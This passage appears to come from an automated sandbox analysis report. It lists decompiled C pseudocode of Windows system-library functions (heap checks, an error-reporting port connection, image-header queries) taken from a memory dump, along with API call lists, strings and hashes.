					_t110 =  *((intOrPtr*)(_t114 - 8)) - (_t77 & 0x0000ffff);
				}
				_t51 =  *((intOrPtr*)(_t114 + 7));
				if(_t51 != 5) {
					if((_t51 & 0x00000040) == 0) {
						_t52 = 0;
						goto L42;
					}
					_t64 = _t51 & 0x3f;
					goto L38;
				} else {
					_t64 =  *(_t114 + 6) & 0x000000ff;
					L38:
					_t52 = _t64 << 0x00000003 & 0x0000ffff;
					L42:
					_t35 = _t114 + 8; // -16
					_t111 = _t110 + (_t52 & 0x0000ffff);
					_t83 = _t35 + _t111;
					_t54 = E6A96D4F0(_t83, 0x6a8f6c58, 8);
					_v8 = _t54;
					if(_t54 == 8) {
						goto L49;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t111);
					_push(_v8 + _t83);
					E6A91B150("Heap block at %p modified at %p past requested size of %Ix\n", _t114);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x6aa06378 = 1;
						asm("int3");
						 *0x6aa06378 = 0;
					}
					_t43 = 0;
					goto L50;
				}
			}

0x6a9c23e3
0x6a9c23e8
0x6a9c23eb
0x6a9c23ee
0x6a9c23f3
0x6a9c259b
0x6a9c259b
0x6a9c259d
0x6a9c25a3
0x6a9c25a3
0x6a9c23fb
0x6a9c2424
0x6a9c244f
0x6a9c2460
0x6a9c2451
0x6a9c2451
0x6a9c2456
0x6a9c2458
0x6a9c2458
0x6a9c245b
0x6a9c245b
0x6a9c2426
0x6a9c2431
0x6a9c2436
0x6a9c2443
0x6a9c2438
0x6a9c2438
0x6a9c2438
0x6a9c2445
0x6a9c2445
0x6a9c2463
0x6a9c2469
0x6a9c246f
0x6a9c2480
0x6a9c2495
0x6a9c24a1
0x6a9c24ce
0x6a9c24df
0x6a9c24d0
0x6a9c24d0
0x6a9c24d5
0x6a9c24d7
0x6a9c24d7
0x6a9c24da
0x6a9c24da
0x6a9c24a3
0x6a9c24b0
0x6a9c24b5
0x6a9c24c2
0x6a9c24b7
0x6a9c24b7
0x6a9c24b7
0x6a9c24c4
0x6a9c24c4
0x6a9c24e8
0x6a9c2497
0x6a9c249a
0x6a9c249a
0x6a9c2482
0x6a9c2488
0x6a9c2488
0x6a9c2471
0x6a9c2479
0x6a9c2479
0x6a9c24ef
0x6a9c23fd
0x6a9c2401
0x6a9c2412
0x6a9c2403
0x6a9c2403
0x6a9c2408
0x6a9c240a
0x6a9c240a
0x6a9c240d
0x6a9c240d
0x6a9c241b
0x6a9c241b
0x6a9c24f1
0x6a9c24f6
0x6a9c2507
0x6a9c2510
0x00000000
0x6a9c2510
0x6a9c250b
0x00000000
0x6a9c24f8
0x6a9c24f8
0x6a9c24fc
0x6a9c2500
0x6a9c2512
0x6a9c2515
0x6a9c251a
0x6a9c2521
0x6a9c2524
0x6a9c2529
0x6a9c252f
0x00000000
0x00000000
0x6a9c253c
0x6a9c255c
0x6a9c2561
0x6a9c253e
0x6a9c2554
0x6a9c2559
0x6a9c256a
0x6a9c256d
0x6a9c2574
0x6a9c2586
0x6a9c2588
0x6a9c258f
0x6a9c2590
0x6a9c2590
0x6a9c2597
0x00000000
0x6a9c2597

APIs

RtlCompareMemory.1105(-00000010,6A8F6C58,00000008,?,-00000018,?,?,?,6A9D4BD7), ref: 6A9C2524
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000010,6A8F6C58,00000008,?,-00000018,?,?,?,6A9D4BD7), ref: 6A9C2554
DbgPrint.1105(HEAP: ,-00000010,6A8F6C58,00000008,?,-00000018,?,?,?,6A9D4BD7), ref: 6A9C2561
DbgPrint.1105(Heap block at %p modified at %p past requested size of %Ix,-00000018,?,?,-00000010,6A8F6C58,00000008,?,-00000018,?,?,?,6A9D4BD7), ref: 6A9C2574

Strings

Heap block at %p modified at %p past requested size of %Ix, xrefs: 6A9C256F
HEAP: , xrefs: 6A9C255C
HEAP[%wZ]: , xrefs: 6A9C254F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemory
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 216965414-3815128232
Opcode ID: 7e196be11248d26c72770d46992dfac31a9eb7c8a1f7bd93e24faa35acf5545b
Instruction ID: bc6f1e889255d6f77128e07e897d22a634933944b08f942f3fe84b22cf0ab7fb
Opcode Fuzzy Hash: 7e196be11248d26c72770d46992dfac31a9eb7c8a1f7bd93e24faa35acf5545b
Instruction Fuzzy Hash: 34510534104A909BE360EA1DC88477277E5DB49784F7258DAE4E38B281FE35D843DA63

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A1570, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E6A9A1570(intOrPtr __ecx, signed int __edx, void* __edi, void* __eflags) {
				signed int _v8;
				char _v36;
				void _v52;
				char _v56;
				char _v60;
				short _v64;
				char _v68;
				char _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				char _v100;
				int _v104;
				int _v108;
				int _v112;
				int _v116;
				int _v120;
				char _v124;
				void* _v132;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t48;
				intOrPtr _t53;
				intOrPtr _t59;
				signed int _t61;
				signed int _t62;
				signed int* _t63;
				signed int* _t70;
				int _t73;
				signed int _t84;

				_t82 = __edi;
				_t81 = __edx;
				_v8 =  *0x6aa0d360 ^ _t84;
				_t73 = 0;
				_v76 = __edx;
				_v80 = __ecx;
				_v60 = 0;
				_v56 = 0;
				_v68 = 0;
				_v64 = 0x500;
				_t48 = E6A9A16FA();
				_t83 = _t48;
				if(_t48 < 0) {
					L19:
					if(_v60 != 0) {
						_push(_v60);
						E6A9595D0();
					}
					return E6A95B640(_t83, _t73, _v8 ^ _t84, _t81, _t82, _t83);
				}
				_push(0);
				_push(8);
				_push( &_v100);
				_push(0x73);
				_t53 = E6A959860();
				_t83 = _t53;
				if(_t53 < 0) {
					goto L19;
				}
				_t83 = E6A9A176C(_v100);
				if(_t83 < 0) {
					goto L19;
				}
				_t92 = _t83 - 0x102;
				if(_t83 == 0x102) {
					goto L19;
				}
				RtlInitUnicodeString( &_v132, L"\\WindowsErrorReportingServicePort");
				memset( &_v52, 0, 0x2c);
				_v36 = 0x568;
				_push( &_v56);
				_t59 = E6A9A1879(0,  &_v68, __edi, _t83, _t92);
				_t83 = _t59;
				if(_t59 >= 0) {
					_t61 = _v96;
					_v124 = 0x18;
					_v120 = 0;
					_v112 = 0;
					_v116 = 0;
					_v108 = 0;
					_v104 = 0;
					if(_t61 != 0xffffffff) {
						_t81 = _t61 * 0xffffd8f0 >> 0x20;
						_t62 = _t61 * 0xffffd8f0;
						__eflags = _t62;
						_v92 = _t62;
						_t63 =  &_v92;
						_v88 = _t61 * 0xffffd8f0 >> 0x20;
					} else {
						_t73 = 1;
						_t63 = 0;
					}
					_push(_t63);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(_v56);
					_push(0x20000);
					_push( &_v52);
					_push( &_v124);
					_push( &_v132);
					_push( &_v60);
					_t83 = E6A959C70();
					if(_t83 >= 0 && _t83 != 0x102) {
						_v72 = 0x568;
						if(_t73 == 0) {
							_t70 =  &_v92;
						} else {
							_t70 = 0;
						}
						_t73 = _v76;
						_push(_t70);
						_push(0);
						_push( &_v72);
						_push(_t73);
						_push(0);
						_push(_v80);
						_push(0x20000);
						_push(_v60);
						_t83 = E6A959DA0();
						if(_t83 >= 0 && _t83 != 0x102) {
							_t83 =  *((intOrPtr*)(_t73 + 0x1c));
							if( *((intOrPtr*)(_t73 + 0x1c)) >= 0) {
								_t83 = 0;
							}
						}
					}
				}
				if(_v56 != 0) {
					E6A9A1AD6(_v56);
				}
				goto L19;
			}

0x6a9a1570
0x6a9a1570
0x6a9a1582
0x6a9a1586
0x6a9a1588
0x6a9a158c
0x6a9a158f
0x6a9a1592
0x6a9a1595
0x6a9a1598
0x6a9a159e
0x6a9a15a3
0x6a9a15a7
0x6a9a16da
0x6a9a16de
0x6a9a16e0
0x6a9a16e3
0x6a9a16e3
0x6a9a16f9
0x6a9a16f9
0x6a9a15ad
0x6a9a15ae
0x6a9a15b3
0x6a9a15b4
0x6a9a15b6
0x6a9a15bb
0x6a9a15bf
0x00000000
0x00000000
0x6a9a15cd
0x6a9a15d1
0x00000000
0x00000000
0x6a9a15d7
0x6a9a15dd
0x00000000
0x00000000
0x6a9a15ec
0x6a9a15f8
0x6a9a1600
0x6a9a160d
0x6a9a1611
0x6a9a1616
0x6a9a161a
0x6a9a1620
0x6a9a1623
0x6a9a162a
0x6a9a162d
0x6a9a1630
0x6a9a1633
0x6a9a1636
0x6a9a163c
0x6a9a1649
0x6a9a1649
0x6a9a1649
0x6a9a164b
0x6a9a164e
0x6a9a1651
0x6a9a163e
0x6a9a163e
0x6a9a1640
0x6a9a1640
0x6a9a1654
0x6a9a1657
0x6a9a1658
0x6a9a1659
0x6a9a165a
0x6a9a165b
0x6a9a1661
0x6a9a1666
0x6a9a166a
0x6a9a166e
0x6a9a1672
0x6a9a1678
0x6a9a167c
0x6a9a1686
0x6a9a168f
0x6a9a1695
0x6a9a1691
0x6a9a1691
0x6a9a1691
0x6a9a1698
0x6a9a169b
0x6a9a169c
0x6a9a16a1
0x6a9a16a2
0x6a9a16a3
0x6a9a16a5
0x6a9a16a8
0x6a9a16ad
0x6a9a16b5
0x6a9a16b9
0x6a9a16c3
0x6a9a16c8
0x6a9a16ca
0x6a9a16ca
0x6a9a16c8
0x6a9a16b9
0x6a9a167c
0x6a9a16d0
0x6a9a16d5
0x6a9a16d5
0x00000000

APIs

Part of subcall function 6A9A16FA: ZwQueryWnfStateNameInformation.1105(6A8FFB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?,6A9A15A3,?,00000568), ref: 6A9A1718
Part of subcall function 6A9A16FA: ZwUpdateWnfStateData.1105(6A8FFB74,00000000,00000000,00000000,00000000,00000000,00000000,6A8FFB74,00000001,00000000,00000568,00000004,?,?,00000000), ref: 6A9A172D
Part of subcall function 6A9A16FA: EtwEventWriteNoRegistration.1105(6A8FFB7C,?,00000000,00000000,6A8FFB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?), ref: 6A9A174B

ZwQuerySystemInformation.1105(00000073,?,00000008,00000000,?,00000568), ref: 6A9A15B6

Part of subcall function 6A959860: LdrInitializeThunk.NTDLL(6A9A15BB,00000073,?,00000008,00000000,?,00000568), ref: 6A95986A

Part of subcall function 6A9A176C: ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6A9A17B5
Part of subcall function 6A9A176C: ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6A9A17E1
Part of subcall function 6A9A176C: ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6A9A17EB

RtlInitUnicodeString.1105(?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6A9A15EC
memset.1105(?,00000000,0000002C,?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6A9A15F8
ZwAlpcConnectPort.1105(?,?,00000018,?,00020000,?,00000000,00000000,00000000,00000000,?), ref: 6A9A1673
ZwAlpcSendWaitReceivePort.1105(?,00020000,?,00000000,?,00000568,00000000,?,?,?,00000018,?,00020000,?,00000000,00000000), ref: 6A9A16B0
ZwClose.1105(00000000,?,00000568), ref: 6A9A16E3

Strings

\WindowsErrorReportingServicePort, xrefs: 6A9A15E3

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AlpcCloseEventInformationPortQueryStateWait$ConnectDataInitInitializeNameObjectOpenReceiveRegistrationSendSingleStringSystemThunkUnicodeUpdateWritememset
String ID: \WindowsErrorReportingServicePort
API String ID: 360723211-589754893
Opcode ID: 00b3bfae00f2931685108dca57646b9875df96162d504f1b691cb299524a3996
Instruction ID: 2e5276924b8b883f9e0ac96b1a1baad12466363199f4f2fe11b74b1c07f77797
Opcode Fuzzy Hash: 00b3bfae00f2931685108dca57646b9875df96162d504f1b691cb299524a3996
Instruction Fuzzy Hash: 40413FB1D0161CABDF10CEA4D885AEEBBB9AF05714F35012AEA14EB241DB30DD058BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A92DD80, Relevance: 12.3, APIs: 8, Instructions: 337
nativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A92DD80(void* __ecx, signed int __edx) {
				intOrPtr _v8;
				signed char _v13;
				void* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				long _v40;
				signed char _v44;
				signed int _v48;
				signed int _v52;
				void* __ebp;
				signed int _t111;
				signed char _t117;
				void* _t119;
				void* _t121;
				signed int _t123;
				signed int _t132;
				intOrPtr _t141;
				signed char _t142;
				signed int _t145;
				signed int _t149;
				signed int _t150;
				signed char _t151;
				signed int* _t157;
				signed int _t162;
				signed int _t165;
				signed char _t168;
				signed int _t169;
				void* _t172;
				signed char _t176;
				char _t178;
				signed int _t186;
				signed int _t187;
				signed int _t188;
				signed int _t195;
				signed int _t199;
				void* _t201;
				signed int* _t203;
				signed int _t207;
				signed int* _t208;
				void* _t213;

				_t186 = __edx;
				_v8 =  *((intOrPtr*)(_t213 + 4));
				_t203 = __edx;
				_v24 = 0;
				_t195 = __ecx;
				_v32 = __edx;
				_v20 = __ecx;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((intOrPtr*)(__edx + 8)) = 0;
				if( *0x6aa08474 != 3) {
					L16:
					_push(0);
					_push(0xc);
					_push( &_v52);
					_push(6);
					_push(_t195);
					_push(0xffffffff);
					if(E6A959730() < 0) {
						L66:
						_t165 = 0;
						_v20 = 0;
						L21:
						_t203[1] = _t165;
						if(_t165 == 0) {
							_t187 = _v24;
							L43:
							_t111 = _t187;
							L15:
							return _t111;
						}
						_v28 = 0;
						E6A92E9C0(1, _t165, 0, 0,  &_v28);
						if(( *(_v28 + 0x5e) & 0x00000400) != 0) {
							L56:
							_t188 = _t186 | 0xffffffff;
							_t111 = _t188;
							_t203[3] = _t195 | _t188;
							 *_t203 = _t188;
							goto L15;
						}
						E6A92E9C0(1, _v20, 0, 0,  &_v40);
						_t117 = _v20;
						_t195 = 0;
						_v13 = 1;
						_t168 = _t117;
						_v24 = _t168;
						_v32 = 0;
						_v36 = 0;
						if((_t117 & 0x00000003) != 0) {
							_v24 = _t168;
							_v13 =  !_t117 & 0x00000001;
						}
						_t119 = E6A92E9C0(1, _t168, 0, 0,  &_v32);
						_t169 = _v32;
						if(_t169 == 0) {
							L72:
							if(_t119 < 0) {
								goto L74;
							}
							_t186 = _v32;
						} else {
							_t132 =  *(_t169 + 0x18) & 0x0000ffff;
							_t186 = 0x10b;
							if(_t132 != 0x10b) {
								_t186 = 0x20b;
								if(_t132 != 0x20b) {
									L74:
									_t121 = RtlImageDirectoryEntryToData(_v20, 1, 0xe,  &_v40);
									if(_t121 == 0 || ( *(_t121 + 0x10) & 0x00000001) == 0) {
										_t187 = 0;
										L42:
										_t203[3] = 0;
										 *_t203 = _t187;
										goto L43;
									} else {
										goto L56;
									}
								}
								_t186 = _v13;
								_t119 = E6A912F47(_v24, _t186, 0xa,  &_v32, _t169,  &_v36);
								_t195 = _v36;
								goto L72;
							}
							if( *((intOrPtr*)(_t169 + 0x74)) <= 0xa) {
								goto L74;
							}
							_t195 =  *(_t169 + 0xc8);
							if(_t195 == 0) {
								goto L74;
							}
							_t186 =  *(_t169 + 0xcc);
							_v36 = _t186;
							if(_v13 == 0) {
								if(_t195 <  *((intOrPtr*)(_t169 + 0x54))) {
									goto L30;
								}
								_t195 = E6A953C00(_t169, _v24, _t195);
								if(_t195 == 0) {
									goto L74;
								}
								_t186 = _v36;
								L31:
								if(_t195 == 0 || _t186 == 0 || _t186 != 0x40 && _t186 !=  *_t195) {
									goto L74;
								} else {
									_t123 =  *(_v40 + 4) & 0x0000ffff;
									if(_t123 == 0x3a64 || _t123 == 0x14c) {
										if( *_t195 < 0x48) {
											goto L74;
										}
										_t186 =  *(_t195 + 0x40);
										if(_t186 == 0) {
											goto L74;
										}
										_t195 =  *(_t195 + 0x44);
										if(_t195 == 0) {
											goto L74;
										}
										_t172 = _v20;
										if(_t186 <  *((intOrPtr*)(_v28 + 0x54)) + _t172 || _t195 >  *((intOrPtr*)(_v28 + 0x50)) - _t186 + _t172 >> 2) {
											goto L56;
										} else {
											goto L42;
										}
									} else {
										goto L74;
									}
								}
							}
							L30:
							_t195 = _t195 + _v24;
						}
						goto L31;
					}
					_t165 = _v52;
					_v20 = _t165;
					if(_t165 == 0 || (_v44 & 0x00000003) != 0 || _t195 < _t165) {
						goto L66;
					} else {
						_t203[2] = _v48;
						goto L21;
					}
				}
				E6A93FAD0(0x6aa08654);
				_t141 =  *0x6aa0b350; // 0x1
				if(_t141 == 1) {
					L13:
					_t142 = 0x11;
					asm("lock cmpxchg [esi], ecx");
					_t176 = 0x11;
					if(0x11 != 0x11) {
						if(1 == 0) {
							L6A96DF30(0x11, _t186, 0xc0000264);
							L62:
							_t145 = _t176 & 0xfffffff0;
							_t186 =  *(_t145 + 4);
							if(_t186 != 0) {
								L64:
								asm("lock xadd [edx+0x10], eax");
								if((_t145 | 0xffffffff) - 1 > 0) {
									goto L14;
								}
								_v28 = 0xfffffff7;
								L50:
								_t199 = _v28;
								while(1) {
									_t149 = _t176 & 0x00000006;
									_v36 = _t149;
									if(_t149 != 2) {
										_t150 = _t199;
									} else {
										_t150 = _t199 + 4;
									}
									_t186 = _t176 + _t150;
									_t151 = _t176;
									asm("lock cmpxchg [edi], esi");
									_t199 = _v28;
									if(_t151 == _t176) {
										break;
									}
									_t176 = _t151;
								}
								_t195 = _v20;
								if(_v36 == 2) {
									_t186 = 0;
									E6A9500C2(0x6aa08654, 0, 0);
								}
								goto L14;
							} else {
								goto L63;
							}
							do {
								L63:
								_t145 =  *_t145;
								_t186 =  *(_t145 + 4);
							} while (_t186 == 0);
							goto L64;
						}
						if(0 != 0) {
							L48:
							if((_t176 & 0x00000008) != 0) {
								goto L62;
							}
							_v28 = _t142 | 0xffffffff;
							goto L50;
						} else {
							goto L46;
						}
						while(1) {
							L46:
							_t75 = _t176 - 0x10; // 0x1
							asm("sbb edx, edx");
							_t186 =  ~((_t176 & 0xfffffff0) - 0x10) & _t75;
							_t142 = _t176;
							asm("lock cmpxchg [esi], edx");
							if(_t142 == _t176) {
								goto L14;
							}
							_t176 = _t142;
							if((_t142 & 0x00000002) == 0) {
								continue;
							}
							goto L48;
						}
					}
					L14:
					_t111 = _v24;
					if(_t111 == 0) {
						if( *0x6aa0b35c == 0) {
							goto L15;
						}
						_t203 = _v32;
						goto L16;
					}
					goto L15;
				}
				_t178 = 1;
				_t8 = _t141 - 1; // 0x0
				_t201 = _t8;
				if(_t201 < 1) {
					L12:
					_t195 = _v20;
					goto L13;
				}
				do {
					_t186 = _t178 + _t201 >> 1;
					_t157 = (_t186 << 4) + 0x6aa0b360;
					_t207 = _t157[1];
					if(_v20 < _t207) {
						if(_t186 == 0) {
							goto L12;
						}
						_t201 = _t186 - 1;
						goto L7;
					}
					if(_v20 < _t157[2] + _t207) {
						_t208 = _v32;
						 *_t208 =  *_t157;
						_t208[1] = _t157[1];
						_t208[2] = _t157[2];
						_t208[3] = _t157[3];
						_t186 =  *0x7ffe0330;
						asm("ror eax, cl");
						_t162 =  *_t208 ^ _t186;
						_v24 = _t162;
						 *_t208 = _t162;
						goto L12;
					}
					_t178 = _t186 + 1;
					L7:
				} while (_t201 >= _t178);
				goto L12;
			}

0x6a92dd80
0x6a92dd92
0x6a92dda3
0x6a92dda5
0x6a92ddad
0x6a92ddaf
0x6a92ddb2
0x6a92ddb5
0x6a92ddbc
0x6a92ddc3
0x6a92de8b
0x6a92de8b
0x6a92de8d
0x6a92de92
0x6a92de93
0x6a92de95
0x6a92de96
0x6a92de9f
0x6a97b5c2
0x6a97b5c2
0x6a97b5c4
0x6a92decb
0x6a92decb
0x6a92ded0
0x6a97b645
0x6a92e01e
0x6a92e01e
0x6a92de82
0x6a92de8a
0x6a92de8a
0x6a92ded9
0x6a92dee8
0x6a92def9
0x6a92e0b6
0x6a92e0b6
0x6a92e0bb
0x6a92e0bd
0x6a92e0c0
0x00000000
0x6a92e0c0
0x6a92df0d
0x6a92df12
0x6a92df15
0x6a92df17
0x6a92df1b
0x6a92df1d
0x6a92df20
0x6a92df27
0x6a92df2c
0x6a92df35
0x6a92df38
0x6a92df38
0x6a92df46
0x6a92df4b
0x6a92df50
0x6a97b611
0x6a97b613
0x00000000
0x00000000
0x6a97b615
0x6a92df56
0x6a92df56
0x6a92df5a
0x6a92df62
0x6a97b5ee
0x6a97b5f6
0x6a97b61d
0x6a97b629
0x6a97b630
0x6a97b63c
0x6a92e019
0x6a92e019
0x6a92e01c
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97b630
0x6a97b5f8
0x6a97b609
0x6a97b60e
0x00000000
0x6a97b60e
0x6a92df6c
0x00000000
0x00000000
0x6a92df72
0x6a92df7a
0x00000000
0x00000000
0x6a92df84
0x6a92df8a
0x6a92df8d
0x6a97b5cf
0x00000000
0x00000000
0x6a97b5e0
0x6a97b5e4
0x00000000
0x00000000
0x6a97b5e6
0x6a92df96
0x6a92df98
0x00000000
0x6a92dfb3
0x6a92dfbb
0x6a92dfc2
0x6a92dfd5
0x00000000
0x00000000
0x6a92dfdb
0x6a92dfe0
0x00000000
0x00000000
0x6a92dfe6
0x6a92dfeb
0x00000000
0x00000000
0x6a92dff4
0x6a92dffe
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a92dfc2
0x6a92df98
0x6a92df93
0x6a92df93
0x6a92df93
0x00000000
0x6a92df50
0x6a92dea5
0x6a92dea8
0x6a92dead
0x00000000
0x6a92dec5
0x6a92dec8
0x00000000
0x6a92dec8
0x6a92dead
0x6a92ddce
0x6a92ddd3
0x6a92dddb
0x6a92de5c
0x6a92de63
0x6a92de68
0x6a92de6c
0x6a92de71
0x6a92e028
0x6a97b58b
0x6a97b590
0x6a97b592
0x6a97b595
0x6a97b59a
0x6a97b5a5
0x6a97b5a8
0x6a97b5b0
0x00000000
0x00000000
0x6a97b5b6
0x6a92e067
0x6a92e067
0x6a92e070
0x6a92e072
0x6a92e075
0x6a92e07b
0x6a92e0dc
0x6a92e07d
0x6a92e07d
0x6a92e07d
0x6a92e080
0x6a92e08a
0x6a92e08c
0x6a92e090
0x6a92e095
0x00000000
0x00000000
0x6a92e0e0
0x6a92e0e0
0x6a92e09b
0x6a92e09e
0x6a92e0a5
0x6a92e0ac
0x6a92e0ac
0x00000000
0x00000000
0x00000000
0x00000000
0x6a97b59c
0x6a97b59c
0x6a97b59c
0x6a97b59e
0x6a97b5a1
0x00000000
0x6a97b59c
0x6a92e031
0x6a92e058
0x6a92e05b
0x00000000
0x00000000
0x6a92e064
0x00000000
0x00000000
0x00000000
0x00000000
0x6a92e033
0x6a92e033
0x6a92e035
0x6a92e040
0x6a92e042
0x6a92e044
0x6a92e046
0x6a92e04c
0x00000000
0x00000000
0x6a92e052
0x6a92e056
0x00000000
0x00000000
0x00000000
0x6a92e056
0x6a92e033
0x6a92de77
0x6a92de77
0x6a92de7c
0x6a92e0ce
0x00000000
0x00000000
0x6a92e0d4
0x00000000
0x6a92e0d4
0x00000000
0x6a92de7c
0x6a92dddd
0x6a92dde2
0x6a92dde2
0x6a92dde7
0x6a92de59
0x6a92de59
0x00000000
0x6a92de59
0x6a92ddf0
0x6a92ddf3
0x6a92ddfa
0x6a92ddff
0x6a92de05
0x6a92de1c
0x00000000
0x00000000
0x6a92de1e
0x00000000
0x6a92de1e
0x6a92de0f
0x6a92de25
0x6a92de28
0x6a92de2d
0x6a92de33
0x6a92de3e
0x6a92de41
0x6a92de50
0x6a92de52
0x6a92de54
0x6a92de57
0x00000000
0x6a92de57
0x6a92de11
0x6a92de14
0x6a92de14
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6AA08654,6A9617F0,00000000), ref: 6A92DDCE
ZwQueryVirtualMemory.1105(000000FF,000000FE,00000006,?,0000000C,00000000,6A9617F0,00000000), ref: 6A92DE98
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000,6A9617F0,00000000), ref: 6A92DEE8
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000), ref: 6A92DF0D
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,00000000,00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF), ref: 6A92DF46

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImage$AcquireLockMemoryQuerySharedVirtual
String ID:
API String ID: 114269737-0
Opcode ID: c0d1cb4556567c6d81e66f40bbae374bb42bfd2d76f02f9b5c5e4660490ee6af
Instruction ID: 8050b27ec1795e094b7b9edc5be002d7534a49664993faa77507a2c3a478f625
Opcode Fuzzy Hash: c0d1cb4556567c6d81e66f40bbae374bb42bfd2d76f02f9b5c5e4660490ee6af
Instruction Fuzzy Hash: B9C1E270A142069FFB24CF68C840BAEB7F6AF85314F35856DD565AB385DF30E9428B90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D3518, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6A9D3518(signed int* __ecx) {
				char _v8;
				void* _t11;
				signed int* _t34;

				_push(__ecx);
				_t34 = __ecx;
				if(__ecx !=  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
					if(E6A9140E1("RtlDestroyHeap") == 0 || E6A9D4496(__ecx, 0) == 0) {
						goto L5;
					} else {
						_t32 = __ecx + 0x80;
						 *((intOrPtr*)(__ecx + 0x60)) = 0;
						if( *((intOrPtr*)(__ecx + 0x80)) != 0) {
							_v8 = 0;
							E6A94174B(_t32,  &_v8, 0x8000);
						}
						_t11 = 1;
					}
				} else {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("May not destroy the process heap at %p\n", _t34);
					L5:
					_t11 = 0;
				}
				return _t11;
			}

0x6a9d351d
0x6a9d3525
0x6a9d352a
0x6a9d357d
0x00000000
0x6a9d358c
0x6a9d358e
0x6a9d3594
0x6a9d3599
0x6a9d359b
0x6a9d35a7
0x6a9d35a7
0x6a9d35ac
0x6a9d35ac
0x6a9d352c
0x6a9d3536
0x6a9d3555
0x6a9d355a
0x6a9d3538
0x6a9d354d
0x6a9d3552
0x6a9d3566
0x6a9d356d
0x6a9d356d
0x6a9d356d
0x6a9d35b2

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,00000000,?,?,6A96FC67), ref: 6A9D354D
DbgPrint.1105(HEAP: ,00000000,?,?,6A96FC67), ref: 6A9D355A
DbgPrint.1105(May not destroy the process heap at %p,?,00000000,?,?,6A96FC67), ref: 6A9D3566

Strings

RtlDestroyHeap, xrefs: 6A9D3571
May not destroy the process heap at %p, xrefs: 6A9D3561
HEAP: , xrefs: 6A9D3555
HEAP[%wZ]: , xrefs: 6A9D3548

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
API String ID: 3558298466-4256168463
Opcode ID: 757851e85805928b952504479f0a1ff735f47162feb88511cab735ae39b6d93a
